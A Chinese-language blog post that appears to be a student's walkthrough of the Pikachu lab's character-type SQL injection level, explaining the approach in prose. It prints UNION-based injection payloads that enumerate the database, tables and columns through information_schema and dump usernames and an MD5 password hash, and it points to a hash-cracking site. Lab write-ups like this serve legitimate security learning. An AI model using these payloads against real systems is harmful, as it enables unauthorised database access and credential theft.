关于Pikachu靶场SQL注入的解答——union 注入的使用及其见解

发布时间:2026/10/29 1:38:01
关于Pikachu靶场SQL注入的解答——union 注入的使用及其见解

#创作灵感#
我记得之前在b站上学编程时,有位老师说过这么一句话:‘“要想快速的学有所成,就去写博客”,昨天上课时,老师把之前教的union拿出来做了巩固,鉴于我之前也有做过一些sql注入,特写此文章以留作念想。

由此:本文将通过 Pikachu 靶场的字符型注入关卡,演示一次完整的 Union 联合查询注入流程,最终目标是获取数据库中的用户名和密码。

一,题目来源:来自于Pikachu靶场SQL注入的第二题,详情可自行本地搭建评鉴。


题目如下:what's your username?/完成字符型注入get关卡练习,最后 获得用户名和密码数量

二,解题思路+步骤

思路:关于判断sql注入的类型,我是生疏的,但好在基础题目有提示,根据题目标题“username”,我推断该注入为字符型注入。


1.验证注入类型,这里通过本网站sql注入第一题所提供的已知账户"kobe",来做字符型注入的对照具体图片如下图:

正常显示:

错误显示:

通过英文单引号得来的错误提示,表明包含字符型漏洞。
c

增加“#”号注释后,又可正常查询

2.老师在是直接使用的union关键字实现的查询,不过我并不知道,为什么就一定要用union。这个问题,我留做下期sql专题解答吧,因为union联合查询需要保证查询出来的列相同,所以这里先使用,order by将列的信息,给找出来。

kobe' order by 2#

在使用二分法n次后得到存放该表的列数为二(如上图)

3.接下来就是通过information_schema这个mysql自带的系统库,查出系统的中的密码和用户名。当然在真正查到用户名和密码前,我们还需要先通过“tables”表和“columns”表,查出用户名和密码的“字段名”,最后在查出数据;

神秘指示图,全世界独一无二。

4,通过union 联合select + database();查出库名“pikachu”

kobe' union select 1,database()#

5.通过union 联合select + information_schema + “pikachu”;查出表名“users”

kobe' union select 1,table_name from information_schema.tables where table_schema='pikachu'#

6.通过union 联合select + information_schema + “pikachu”+“user”;查出列名“username”与“password”

kobe' union select 1,column_name from information_schema.columns where table_schema='pikachu' and table_name='users';#

7.最后:select “password”+“username”+“pikachu”----->“用户名+密码 ”

“pikachu”+“670b14728ad9902aecba32e22fa4f6bd”

kobe' union select username,password from pikachu.users#

8.当然最后密码我也会提供明文显示,访问下列网站即可自行解密
https://cmd5.com/